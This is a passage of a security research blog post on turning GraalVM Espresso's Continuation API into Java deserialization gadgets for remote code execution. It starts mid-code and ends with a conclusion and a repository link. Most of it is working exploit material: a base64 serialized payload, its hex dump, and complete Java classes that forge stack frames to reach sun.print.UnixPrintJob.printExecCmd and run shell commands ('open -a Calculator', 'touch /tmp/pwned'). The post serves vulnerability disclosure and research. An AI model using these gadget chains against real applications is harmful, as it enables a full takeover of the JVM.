        String data = "rO0ABXNyACpvcmcuZ3JhYWx2bS5jb250aW51YXRpb25zLkNvbnRpbnVhdGlvbkltcGyvC5T4iS1T4wMAA0wACmVudHJ5UG9pbnR0ADJMb3JnL2dyYWFsdm0vY29udGludWF0aW9ucy9Db250aW51YXRpb25FbnRyeVBvaW50O0wADnN0YWNrRnJhbWVIZWFkdAA4TG9yZy9ncmFhbHZtL2NvbnRpbnVhdGlvbnMvQ29udGludWF0aW9uSW1wbCRGcmFtZVJlY29yZDtMAAVzdGF0ZXQAMkxvcmcvZ3JhYWx2bS9jb250aW51YXRpb25zL0NvbnRpbnVhdGlvbkltcGwkU3RhdGU7eHIAJm9yZy5ncmFhbHZtLmNvbnRpbnVhdGlvbnMuQ29udGludWF0aW9uO0E7J0TPdTECAAB4cgAyb3JnLmdyYWFsdm0uY29udGludWF0aW9ucy5Db250aW51YXRpb25TZXJpYWxpemFibGWCvQlsCVXcRAIAAHhwdwEgfnIAMG9yZy5ncmFhbHZtLmNvbnRpbnVhdGlvbnMuQ29udGludWF0aW9uSW1wbCRTdGF0ZQAAAAAAAAAAEgAAeHIADmphdmEubGFuZy5FbnVtAAAAAAAAAAASAAB4cHQACVNVU1BFTkRFRHNyAAtleHBsb2l0LkpvYkrZKDkQkP/YAgAAeHB3CAGAAAADcnVudXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAACnBxAH4ABnNyACtvcmcuZ3JhYWx2bS5jb250aW51YXRpb25zLlN1c3BlbmRDYXBhYmlsaXR5Qnq2pZepZOUCAAFMAAxjb250aW51YXRpb250ACxMb3JnL2dyYWFsdm0vY29udGludWF0aW9ucy9Db250aW51YXRpb25JbXBsO3hxAH4ABXEAfgAGcHBwcHBwcHVyAAJbSnggBLUSsXWTAgAAeHAAAAAKAAAAAAAAACcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3EVYAAAAAJgEBgAEABXN0YXJ0dXEAfgANAAAABXBxAH4ADHEAfgARcHB1cQB+ABIAAAAFAAAAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHdjVgFMgAIAK29yZy5ncmFhbHZtLmNvbnRpbnVhdGlvbnMuU3VzcGVuZENhcGFiaWxpdHkAAAAJAQCAAwAlc3VuLnByaW50LlVuaXhQcmludEpvYiRQcmludGVyU3Bvb2xlcgAAdXEAfgANAAAAB3BwdAABYXQAAWJ0AAFjdAABZHQAAWV1cQB+ABIAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3RkyABAAQamF2YS5sYW5nLk9iamVjdAAAAABiAQCABQAWc3VuLnByaW50LlVuaXhQcmludEpvYoAGAAxwcmludEV4ZWNDbWR1cQB+AA0AAAAPcHBxAH4AF3EAfgAYcQB+ABlxAH4AGnEAfgAbdAABZnQAAWd0AAFodAABaXQAAWp0AAFrdAABbHVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAN0AAcvYmluL3NodAACLWN0ABJvcGVuIC1hIENhbGN1bGF0b3J1cQB+ABIAAAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd0pMgAcAE1tMamF2YS5sYW5nLlN0cmluZzsGTIAIABBqYXZhLmxhbmcuU3RyaW5nTAAIWkwACElMAAgAAAFvAQGACQAHc3VzcGVuZHVxAH4ADQAAAANwcQB+AAZwdXEAfgASAAAAAwAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAHcHVgAAAAABAHg=";

        Continuation continuation = (Continuation) SerializeUtil.deserialize(Base64.getDecoder().decode(data));
        continuation.resume();
    }
}

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Exception in thread "main" java.lang.ClassNotFoundException: exploit.Job
	at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
	at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188)
	at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:526)
	at java.base/java.lang.Class.forName0(Native Method)
	at java.base/java.lang.Class.forName(Class.java:534)
	at java.base/java.lang.Class.forName(Class.java:513)
	at java.base/java.io.ObjectInputStream.resolveClass(ObjectInputStream.java:804)
	at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2061)
	at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1927)
	at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2252)
	at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1762)
	at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:540)
	at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:498)
	at org.graalvm.continuations.ContinuationImpl.readObjectExternalImpl(ContinuationImpl.java:664)
	at org.graalvm.continuations.ContinuationImpl.readObject(ContinuationImpl.java:595)
	at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
	at java.base/java.lang.reflect.Method.invoke(Method.java:580)
	at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1102)
	at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2444)
	at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2284)
	at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1762)
	at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:540)
	at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:498)
	at util.SerializeUtil.deserialize(SerializeUtil.java:20)
	at exploit.Test.main(Test.java:12)

Here’s the hex dump of the serialized payload:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
00000000: aced 0005 7372 002a 6f72 672e 6772 6161  ....sr.*org.graa
00000010: 6c76 6d2e 636f 6e74 696e 7561 7469 6f6e  lvm.continuation
00000020: 732e 436f 6e74 696e 7561 7469 6f6e 496d  s.ContinuationIm
00000030: 706c af0b 94f8 892d 53e3 0300 034c 000a  pl.....-S....L..
00000040: 656e 7472 7950 6f69 6e74 7400 324c 6f72  entryPointt.2Lor
00000050: 672f 6772 6161 6c76 6d2f 636f 6e74 696e  g/graalvm/contin
00000060: 7561 7469 6f6e 732f 436f 6e74 696e 7561  uations/Continua
00000070: 7469 6f6e 456e 7472 7950 6f69 6e74 3b4c  tionEntryPoint;L
00000080: 000e 7374 6163 6b46 7261 6d65 4865 6164  ..stackFrameHead
00000090: 7400 384c 6f72 672f 6772 6161 6c76 6d2f  t.8Lorg/graalvm/
000000a0: 636f 6e74 696e 7561 7469 6f6e 732f 436f  continuations/Co
000000b0: 6e74 696e 7561 7469 6f6e 496d 706c 2446  ntinuationImpl$F
000000c0: 7261 6d65 5265 636f 7264 3b4c 0005 7374  rameRecord;L..st
000000d0: 6174 6574 0032 4c6f 7267 2f67 7261 616c  atet.2Lorg/graal
000000e0: 766d 2f63 6f6e 7469 6e75 6174 696f 6e73  vm/continuations
000000f0: 2f43 6f6e 7469 6e75 6174 696f 6e49 6d70  /ContinuationImp
00000100: 6c24 5374 6174 653b 7872 0026 6f72 672e  l$State;xr.&org.
00000110: 6772 6161 6c76 6d2e 636f 6e74 696e 7561  graalvm.continua
00000120: 7469 6f6e 732e 436f 6e74 696e 7561 7469  tions.Continuati
00000130: 6f6e 3b41 3b27 44cf 7531 0200 0078 7200  on;A;'D.u1...xr.
00000140: 326f 7267 2e67 7261 616c 766d 2e63 6f6e  2org.graalvm.con
00000150: 7469 6e75 6174 696f 6e73 2e43 6f6e 7469  tinuations.Conti
00000160: 6e75 6174 696f 6e53 6572 6961 6c69 7a61  nuationSerializa
00000170: 626c 6582 bd09 6c09 55dc 4402 0000 7870  ble...l.U.D...xp
00000180: 7701 207e 7200 306f 7267 2e67 7261 616c  w. ~r.0org.graal
00000190: 766d 2e63 6f6e 7469 6e75 6174 696f 6e73  vm.continuations
000001a0: 2e43 6f6e 7469 6e75 6174 696f 6e49 6d70  .ContinuationImp
000001b0: 6c24 5374 6174 6500 0000 0000 0000 0012  l$State.........
000001c0: 0000 7872 000e 6a61 7661 2e6c 616e 672e  ..xr..java.lang.
000001d0: 456e 756d 0000 0000 0000 0000 1200 0078  Enum...........x
000001e0: 7074 0009 5355 5350 454e 4445 4473 7200  pt..SUSPENDEDsr.
000001f0: 0b65 7870 6c6f 6974 2e4a 6f62 4ad9 2839  .exploit.JobJ.(9
00000200: 1090 ffd8 0200 0078 7077 0801 8000 0003  .......xpw......
00000210: 7275 6e75 7200 135b 4c6a 6176 612e 6c61  runur..[Ljava.la
00000220: 6e67 2e4f 626a 6563 743b 90ce 589f 1073  ng.Object;..X..s
00000230: 296c 0200 0078 7000 0000 0a70 7100 7e00  )l...xp....pq.~.
00000240: 0673 7200 2b6f 7267 2e67 7261 616c 766d  .sr.+org.graalvm
00000250: 2e63 6f6e 7469 6e75 6174 696f 6e73 2e53  .continuations.S
00000260: 7573 7065 6e64 4361 7061 6269 6c69 7479  uspendCapability
00000270: 427a b6a5 97a9 64e5 0200 014c 000c 636f  Bz....d....L..co
00000280: 6e74 696e 7561 7469 6f6e 7400 2c4c 6f72  ntinuationt.,Lor
00000290: 672f 6772 6161 6c76 6d2f 636f 6e74 696e  g/graalvm/contin
000002a0: 7561 7469 6f6e 732f 436f 6e74 696e 7561  uations/Continua
000002b0: 7469 6f6e 496d 706c 3b78 7100 7e00 0571  tionImpl;xq.~..q
000002c0: 007e 0006 7070 7070 7070 7075 7200 025b  .~..pppppppur..[
000002d0: 4a78 2004 b512 b175 9302 0000 7870 0000  Jx ....u....xp..
000002e0: 000a 0000 0000 0000 0027 0000 0000 0000  .........'......
000002f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000300: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000310: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000320: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000330: 0000 7711 5600 0000 0026 0101 8001 0005  ..w.V....&......
00000340: 7374 6172 7475 7100 7e00 0d00 0000 0570  startuq.~......p
00000350: 7100 7e00 0c71 007e 0011 7070 7571 007e  q.~..q.~..ppuq.~
00000360: 0012 0000 0005 0000 0000 0000 000a 0000  ................
00000370: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000380: 0000 0000 0000 0000 0000 0000 0000 7763  ..............wc
00000390: 5601 4c80 0200 2b6f 7267 2e67 7261 616c  V.L...+org.graal
000003a0: 766d 2e63 6f6e 7469 6e75 6174 696f 6e73  vm.continuations
000003b0: 2e53 7573 7065 6e64 4361 7061 6269 6c69  .SuspendCapabili
000003c0: 7479 0000 0009 0100 8003 0025 7375 6e2e  ty.........%sun.
000003d0: 7072 696e 742e 556e 6978 5072 696e 744a  print.UnixPrintJ
000003e0: 6f62 2450 7269 6e74 6572 5370 6f6f 6c65  ob$PrinterSpoole
000003f0: 7200 0075 7100 7e00 0d00 0000 0770 7074  r..uq.~......ppt
00000400: 0001 6174 0001 6274 0001 6374 0001 6474  ..at..bt..ct..dt
00000410: 0001 6575 7100 7e00 1200 0000 0700 0000  ..euq.~.........
00000420: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000430: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000440: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000450: 0000 0000 0077 464c 8004 0010 6a61 7661  .....wFL....java
00000460: 2e6c 616e 672e 4f62 6a65 6374 0000 0000  .lang.Object....
00000470: 6201 0080 0500 1673 756e 2e70 7269 6e74  b......sun.print
00000480: 2e55 6e69 7850 7269 6e74 4a6f 6280 0600  .UnixPrintJob...
00000490: 0c70 7269 6e74 4578 6563 436d 6475 7100  .printExecCmduq.
000004a0: 7e00 0d00 0000 0f70 7071 007e 0017 7100  ~......ppq.~..q.
000004b0: 7e00 1871 007e 0019 7100 7e00 1a71 007e  ~..q.~..q.~..q.~
000004c0: 001b 7400 0166 7400 0167 7400 0168 7400  ..t..ft..gt..ht.
000004d0: 0169 7400 016a 7400 016b 7400 016c 7572  .it..jt..kt..lur
000004e0: 0013 5b4c 6a61 7661 2e6c 616e 672e 5374  ..[Ljava.lang.St
000004f0: 7269 6e67 3bad d256 e7e9 1d7b 4702 0000  ring;..V...{G...
00000500: 7870 0000 0003 7400 072f 6269 6e2f 7368  xp....t../bin/sh
00000510: 7400 022d 6374 0012 6f70 656e 202d 6120  t..-ct..open -a
00000520: 4361 6c63 756c 6174 6f72 7571 007e 0012  Calculatoruq.~..
00000530: 0000 000f 0000 0000 0000 0000 0000 0000  ................
00000540: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000550: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000560: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000570: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000580: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000590: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000005a0: 0000 0000 0000 0000 0000 0000 774a 4c80  ............wJL.
000005b0: 0700 135b 4c6a 6176 612e 6c61 6e67 2e53  ...[Ljava.lang.S
000005c0: 7472 696e 673b 064c 8008 0010 6a61 7661  tring;.L....java
000005d0: 2e6c 616e 672e 5374 7269 6e67 4c00 085a  .lang.StringL..Z
000005e0: 4c00 0849 4c00 0800 0001 6f01 0180 0900  L..IL.....o.....
000005f0: 0773 7573 7065 6e64 7571 007e 000d 0000  .suspenduq.~....
00000600: 0003 7071 007e 0006 7075 7100 7e00 1200  ..pq.~..puq.~...
00000610: 0000 0300 0000 0000 0000 0200 0000 0000  ................
00000620: 0000 0000 0000 0000 0000 0077 0756 0000  ...........w.V..
00000630: 0000 0100 78                             ....x

At position 000001f0, you can see that the Job class still exists.

This is because, in stackFrameHead, we did not modify or delete the stack frame of the Job class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Continuation[SUSPENDED] with recorded frames:
  org.graalvm.continuations.ContinuationImpl.suspend(ContinuationImpl.java:821)
    Current bytecode index: 1
    Pointers: [this continuation, null]
    Primitives: 0, 0
  java.desktop/sun.print.UnixPrintJob.printExecCmd(UnixPrintJob.java:901)
    Current bytecode index: 367
    Pointers: [null, a, b, c, d, e, f, g, h, i, j, k, l, [Ljava.lang.String;@25af762a]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  java.desktop/sun.print.UnixPrintJob$PrinterSpooler.run(UnixPrintJob.java:983)
    Current bytecode index: 98
    Pointers: [null, a, b, c, d, e]
    Primitives: 0, 0, 0, 0, 0, 0
  app//exploit.Job.start(Job.java:12)
    Current bytecode index: 9
    Pointers: [exploit.Job@28f12a0f, org.graalvm.continuations.SuspendCapability@42a86b92, null, null]
    Primitives: 0, 0, 0, 0
  org.graalvm.continuations.ContinuationImpl.run(ContinuationImpl.java:697)
    Current bytecode index: 38
    Pointers: [this continuation, org.graalvm.continuations.SuspendCapability@42a86b92, null, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0

In addition, the entryPoint field in the Continuation object will also have a reference to the instantiated Job object

Therefore, the payload above is not completely a “JDK-Only Gadget”. The solution is to delete the stack frame of the Job class (see [2]) and set the value of entryPoint to null to clear the reference to the instantiated Job object (see [1]).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package exploit.gadget;

import exploit.Job;
import util.ReflectUtil;
import util.SerializeUtil;
import org.graalvm.continuations.Continuation;

import java.lang.reflect.Method;

public class OnlyJdkGadget {
    public static void main(String[] args) throws Exception {
        Job job = new Job();

        Continuation continuation = Continuation.create(job);
        continuation.resume();

        byte[] serialized = SerializeUtil.serialize(continuation);
        System.out.println("serialized");

        Continuation deserialized = (Continuation) SerializeUtil.deserialize(serialized);
        System.out.println("deserialized");

        // [1]
        ReflectUtil.setFieldValue(deserialized, "entryPoint", null);

        // org.graalvm.continuations.ContinuationImpl.run
        Object stackFrameHead = ReflectUtil.getFieldValue(deserialized, "stackFrameHead");
        Object next = stackFrameHead;

        Method method;
        Object[] pointers;
        long[] primitives;
        int bci;

        // exploit.Job.start
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.SuspendCapability.suspend
        next = ReflectUtil.getFieldValue(next, "next");

        method = Class.forName("sun.print.UnixPrintJob$PrinterSpooler").getDeclaredMethod("run");
        pointers = new Object[]{ null, null, "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l" };
        primitives = new long[]{  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
        bci = 98;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        // [2]
        ReflectUtil.setFieldValue(deserialized, "stackFrameHead", next);

        // org.graalvm.continuations.ContinuationImpl.trySuspend
        next = ReflectUtil.getFieldValue(next, "next");

        String cmd = "open -a Calculator";

        method = Class.forName("sun.print.UnixPrintJob").getDeclaredMethod("printExecCmd", String.class, String.class, boolean.class, String.class, int.class, String.class);
        pointers = new Object[]{ null, null, "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", new String[] { "/bin/bash", "-c", cmd } };
        primitives = new long[]{  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
        bci = 367;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        System.out.println(deserialized.toDebugString());
        deserialized.resume();
    }
}

It is worth noting that I choose to delete the two stack frames at the bottom here, because if you choose to delete only the stack frame of the Job class or other methods, the following exception may be thrown.

1
Exception in thread "main" org.graalvm.continuations.IllegalMaterializedRecordException: Wrong method on the recorded frames

So, the modified stackFrameHead is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Continuation[SUSPENDED] with recorded frames:
  org.graalvm.continuations.ContinuationImpl.suspend(ContinuationImpl.java:821)
    Current bytecode index: 1
    Pointers: [this continuation, null]
    Primitives: 0, 0
  java.desktop/sun.print.UnixPrintJob.printExecCmd(UnixPrintJob.java:901)
    Current bytecode index: 367
    Pointers: [null, a, b, c, d, e, f, g, h, i, j, k, l, [Ljava.lang.String;@5b5f1655]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  java.desktop/sun.print.UnixPrintJob$PrinterSpooler.run(UnixPrintJob.java:983)
    Current bytecode index: 98
    Pointers: [null, a, b, c, d, e, f, g, h, i, j, k, l]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

After executing the code in a clean environment, the command is successfully executed.

At this point, this payload can be called a true “JDK-Only Gadget”.

Constructing Gadget through Generator

Although Generator is a high-level usage of the Continuation API, it is essentially no different from ContinuationEntryPoint: the emit method is similar to the suspend method, and the nextElement method is similar to the resume method.

I won’t go into detail on how to construct a gadget based on the Generator, but it is possible. You can refer to the following payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package exploit;

import org.graalvm.continuations.Generator;

public class Counter extends Generator<Integer> {
    private int count;

    public Counter() {
        count = 0;
    }

    @Override
    protected void generate() {
        while (true) {
            count ++;
            System.out.println("count: " + count);
            emit(count);
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package exploit.gadget;

import exploit.Counter;
import util.ReflectUtil;
import util.SerializeUtil;
import org.graalvm.continuations.Continuation;
import org.graalvm.continuations.Generator;

import java.lang.reflect.Method;

public class GeneratorGadget {
    public static void main(String[] args) throws Exception {
        Counter counter = new Counter();
        counter.nextElement();

        byte[] serialized = SerializeUtil.serialize(counter);
        System.out.println("serialized");

        Counter deserialized = (Counter) SerializeUtil.deserialize(serialized);
        System.out.println("deserialized");

        Continuation continuation = (Continuation) ReflectUtil.getFieldValue(Generator.class, deserialized, "continuation");

        // org.graalvm.continuations.ContinuationImpl.run
        Object stackFrameHead = ReflectUtil.getFieldValue(continuation, "stackFrameHead");
        Object next = stackFrameHead;

        Method method;
        Object[] pointers;
        long[] primitives;
        int bci;

        // org.graalvm.continuations.Generator$$Lambda/1382.start
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.Generator.lambda$new$4fbf9434$1
        next = ReflectUtil.getFieldValue(next, "next");
        // exploit.Counter.generate
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.Generator.emit
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.SuspendCapability.suspend
        next = ReflectUtil.getFieldValue(next, "next");

        method = Class.forName("sun.print.UnixPrintJob$PrinterSpooler").getDeclaredMethod("run");
        pointers = new Object[]{ null, null, "a", "b" };
        primitives = new long[]{ 0, 0, 0, 0 };
        bci = 98;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        // org.graalvm.continuations.ContinuationImpl.trySuspend
        next = ReflectUtil.getFieldValue(next, "next");

        method = Class.forName("sun.print.UnixPrintJob").getDeclaredMethod("printExecCmd", String.class, String.class, boolean.class, String.class, int.class, String.class);
        pointers = new Object[]{ null, null, "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", new String[] { "/bin/sh", "-c", "touch /tmp/pwned" } };
        primitives = new long[]{  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
        bci = 367;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        System.out.println(continuation.toDebugString());

        ReflectUtil.setFieldValue(Generator.class, deserialized, "continuation", continuation);
        deserialized.nextElement();
    }
}

Note that the UnixPrintJob gadget constructed based on Generator cannot be a “JDK-Only Gadget”. This is because Generator is an abstract class and has no default implementation class. In contrast, although Continuation is also an abstract class, it has ContinuationImpl as the default implementation class.

This means that the serialized payload must contain a user-defined class that inherits from Generator (the Counter class described above). If this class is missing, deserialization will fail.

Conclusion

The Continuation API of GraalVM Espresso JDK is undoubtedly a powerful feature, but it also brings many risks. Attackers can forge the stackFrameHead structure to execute malicious logic and cause remote code execution. This corresponds to the warning in the GitHub documentation:

Deserializing a continuation supplied by an attacker will allow a complete takeover of the JVM. Only resume continuations you persist yourself!

In short, when the following code exists in the Java application, it is possible to achieve RCE through a specific gadget (even JDK-only).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package exploit;

import org.graalvm.continuations.Continuation;
import util.SerializeUtil;

import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        String data = "......";

        Continuation continuation = (Continuation) SerializeUtil.deserialize(Base64.getDecoder().decode(data));
        continuation.resume();
    }
}

Although this article describes in detail the steps to construct an RCE gadget based on the UnixPrintJob class, there are certainly more RCE gadgets to be discovered.

All the code in this article is available on GitHub: https://github.com/X1r0z/hacking-espresso

0%